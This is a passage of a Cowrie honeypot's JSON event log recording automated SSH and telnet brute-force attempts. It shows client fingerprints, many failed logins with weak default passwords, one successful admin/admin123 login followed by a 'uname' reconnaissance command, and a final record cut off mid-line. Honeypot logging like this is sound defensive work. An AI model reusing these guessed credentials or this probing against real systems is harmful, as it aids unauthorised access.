{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55674,"dst_ip":"10.17.0.5","dst_port":22,"session":"67d68cf0da7b","protocol":"ssh","message":"New connection: 95.38.165.118:55674 (10.17.0.5:22) [session: 67d68cf0da7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:25.897240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:26.154057Z","src_ip":"95.38.165.118","session":"67d68cf0da7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:26.158120Z","src_ip":"95.38.165.118","session":"67d68cf0da7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:26.868799Z","src_ip":"95.38.165.118","session":"67d68cf0da7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:28.035180Z","src_ip":"95.38.165.118","session":"67d68cf0da7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55682,"dst_ip":"10.17.0.5","dst_port":22,"session":"9004f09178b5","protocol":"ssh","message":"New connection: 95.38.165.118:55682 (10.17.0.5:22) [session: 9004f09178b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:31.129592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:31.137923Z","src_ip":"95.38.165.118","session":"9004f09178b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:31.303598Z","src_ip":"95.38.165.118","session":"9004f09178b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:31.837102Z","src_ip":"95.38.165.118","session":"9004f09178b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.984686613082886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:32.930551Z","src_ip":"69.4.83.194","session":"fa1f6657c4fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:33.414316Z","src_ip":"95.38.165.118","session":"9004f09178b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42332,"dst_ip":"10.17.0.5","dst_port":22,"session":"73dfda3dfded","protocol":"ssh","message":"New connection: 95.38.165.118:42332 (10.17.0.5:22) [session: 73dfda3dfded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:36.165470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:36.305871Z","src_ip":"95.38.165.118","session":"73dfda3dfded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:36.731562Z","src_ip":"95.38.165.118","session":"73dfda3dfded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:37.302163Z","src_ip":"95.38.165.118","session":"73dfda3dfded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:38.467814Z","src_ip":"95.38.165.118","session":"73dfda3dfded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41570,"dst_ip":"10.17.0.5","dst_port":22,"session":"220749bcdc60","protocol":"ssh","message":"New connection: 103.153.68.219:41570 (10.17.0.5:22) [session: 220749bcdc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:39.234993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:39.238873Z","src_ip":"103.153.68.219","session":"220749bcdc60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:39.490261Z","src_ip":"103.153.68.219","session":"220749bcdc60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"56789","message":"login attempt [root/56789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:40.243665Z","src_ip":"103.153.68.219","session":"220749bcdc60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42336,"dst_ip":"10.17.0.5","dst_port":22,"session":"5da6691da21c","protocol":"ssh","message":"New connection: 95.38.165.118:42336 (10.17.0.5:22) [session: 5da6691da21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:41.474581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:41.479619Z","src_ip":"95.38.165.118","session":"5da6691da21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:41.497746Z","src_ip":"103.153.68.219","session":"220749bcdc60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:41.648613Z","src_ip":"95.38.165.118","session":"5da6691da21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34316,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de4d176a341","protocol":"telnet","message":"New connection: 69.4.83.194:34316 (159.203.135.109:23) [session: 8de4d176a341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:41.932669Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:42.612922Z","src_ip":"95.38.165.118","session":"5da6691da21c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:45.875309Z","src_ip":"95.38.165.118","session":"5da6691da21c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:45.878817Z","src_ip":"95.38.165.118","session":"5da6691da21c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:46.061917Z","src_ip":"95.38.165.118","session":"5da6691da21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:46.066792Z","src_ip":"95.38.165.118","session":"5da6691da21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60910,"dst_ip":"10.17.0.5","dst_port":22,"session":"cee5bd2a56f8","protocol":"ssh","message":"New connection: 95.38.165.118:60910 (10.17.0.5:22) [session: cee5bd2a56f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:46.547742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:46.649184Z","src_ip":"95.38.165.118","session":"cee5bd2a56f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:47.040066Z","src_ip":"95.38.165.118","session":"cee5bd2a56f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:48.026019Z","src_ip":"95.38.165.118","session":"cee5bd2a56f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":48344,"dst_ip":"10.17.0.5","dst_port":23,"session":"af9d4b030406","protocol":"telnet","message":"New connection: 178.128.93.180:48344 (10.17.0.5:23) [session: af9d4b030406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:48.110102Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60924,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e03a6a4cdbf","protocol":"ssh","message":"New connection: 95.38.165.118:60924 (10.17.0.5:22) [session: 0e03a6a4cdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:51.782737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:51.788975Z","src_ip":"95.38.165.118","session":"0e03a6a4cdbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:51.948003Z","src_ip":"95.38.165.118","session":"0e03a6a4cdbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:52.469420Z","src_ip":"95.38.165.118","session":"0e03a6a4cdbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:52.482983Z","src_ip":"95.38.165.118","session":"cee5bd2a56f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:54.044790Z","src_ip":"95.38.165.118","session":"0e03a6a4cdbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.81573224067688,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:54.925718Z","src_ip":"178.128.93.180","session":"af9d4b030406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43764,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b3d83c4d517","protocol":"ssh","message":"New connection: 95.38.165.118:43764 (10.17.0.5:22) [session: 8b3d83c4d517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:56.758309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:56.767058Z","src_ip":"95.38.165.118","session":"8b3d83c4d517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 